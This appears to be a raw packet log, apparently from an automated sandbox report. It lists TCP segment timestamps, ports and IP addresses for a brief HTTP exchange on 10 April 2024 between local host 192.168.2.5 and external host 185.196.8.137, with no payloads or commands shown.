Apr 10, 2024 10:24:11.409955978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410059929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410059929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410108089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410108089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410202026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410202026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410268068 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410268068 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410296917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410535097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410535097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410604954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410604954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410623074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410732031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410732031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410732031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410732031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410732031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410826921 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410828114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410828114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410828114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410828114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410855055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410923004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.410923004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.411254883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.411254883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.411254883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.411254883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.411254883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.411254883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.411254883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.411319017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.411461115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.411461115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.411498070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.411533117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.411556005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.411649942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.411724091 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.411724091 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.411803007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.411803007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.445019960 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.445044041 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.445055962 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.445065975 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.445075989 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.445097923 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.445101976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.445110083 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.445120096 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.445130110 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.445142031 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.445154905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.445188046 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.445195913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.445204973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.445204973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.445238113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.445622921 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.445633888 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.445645094 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.446183920 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.446183920 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.446799994 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.446815014 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.446881056 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.446994066 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.447067022 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.447079897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.447127104 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.447170973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.447170973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.447335005 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.447448015 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.447452068 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.447526932 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.447555065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.447643042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.447679043 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.447860003 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.447874069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.447897911 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.447941065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.447941065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.448054075 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.448096037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.448307037 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.448319912 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.448355913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.448380947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.448385954 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.448431969 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.448436975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.448442936 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.448483944 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.448529959 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.448581934 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.448596954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.448712111 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.448750973 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.448766947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.448766947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.448822975 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.448847055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.448988914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.449044943 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.449146032 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.449184895 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.449326038 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.449404001 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.449453115 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.449464083 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.449589014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.449652910 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.450263977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.450733900 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.450748920 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.450766087 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.450913906 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.450926065 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.450934887 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.450972080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.450972080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.451066017 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.451133013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.451137066 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.451155901 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.451189995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.451216936 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.451280117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.451390028 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.451401949 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.451411009 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.451411009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.451463938 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.451479912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.451479912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.451678991 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.451709986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.451790094 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.451818943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.451858997 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.451870918 CEST	80	49719	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.451914072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.452460051 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.452512026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.452606916 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.452691078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.452704906 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.452815056 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.452928066 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.452974081 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.452980995 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.453181028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.453246117 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.453258038 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.453295946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.453524113 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.453783035 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.453836918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.453836918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.453891993 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.453903913 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.454003096 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.454056025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.454056025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.454128027 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.454224110 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.454271078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.454343081 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.454422951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.454427004 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.454554081 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.454601049 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.454601049 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.454617977 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.454701900 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.454756975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.454756975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.454868078 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.454962015 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.454976082 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.455001116 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.455044985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.455044985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.455208063 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.455282927 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.455296993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.455481052 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.455483913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.455627918 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.455641985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.455693960 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.455744982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.455744982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.455837965 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.455858946 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.455892086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.455920935 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.455970049 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.455970049 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.456089973 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.456101894 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.456135988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.456171036 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.456197023 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.456207037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.456232071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.456233025 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.456259966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.456335068 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.456430912 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.456490993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.456516027 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.456526041 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.456624985 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.456670046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.456670046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.456830978 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.456935883 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.456950903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.457032919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.457149029 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.457276106 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.457289934 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.457289934 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.457338095 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.457681894 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.457695007 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.457772970 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.457808971 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.457897902 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.458085060 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.458097935 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.458220005 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.458328009 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.458395004 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.458547115 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.458595037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.458595037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.458738089 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.458794117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.459033012 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.459163904 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.459167004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.459177017 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.459398985 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.459414005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.459562063 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.459692001 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.459760904 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.459846973 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.459944010 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.459955931 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.460117102 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.460253000 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.460266113 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.460277081 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.460452080 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.460714102 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.460792065 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.460803986 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.460927010 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.461044073 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.461179018 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.461366892 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.461410046 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.461476088 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.461487055 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.461594105 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.461606979 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.461630106 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.461694002 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.461767912 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.461862087 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.461921930 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.462141991 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.462271929 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.462436914 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.462548018 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.462568998 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.462621927 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.462799072 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.462810993 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.462845087 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.462980986 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.463042021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.463066101 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.463129997 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.463144064 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.463254929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.463262081 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.463288069 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.463336945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.463475943 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.463516951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.463530064 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.463540077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.463579893 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.463588953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.463641882 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.463669062 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.463669062 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.463691950 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.463706017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.463711977 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.463761091 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.463768959 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.463768959 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.463871002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.463882923 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.463907003 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.463931084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.463996887 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.464020014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.464077950 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.464157104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.464204073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.464209080 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.464315891 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.464389086 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.464402914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.464442968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.464500904 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.464556932 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.464576960 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.464593887 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.464620113 CEST	49718	80	192.168.2.5	185.196.8.137
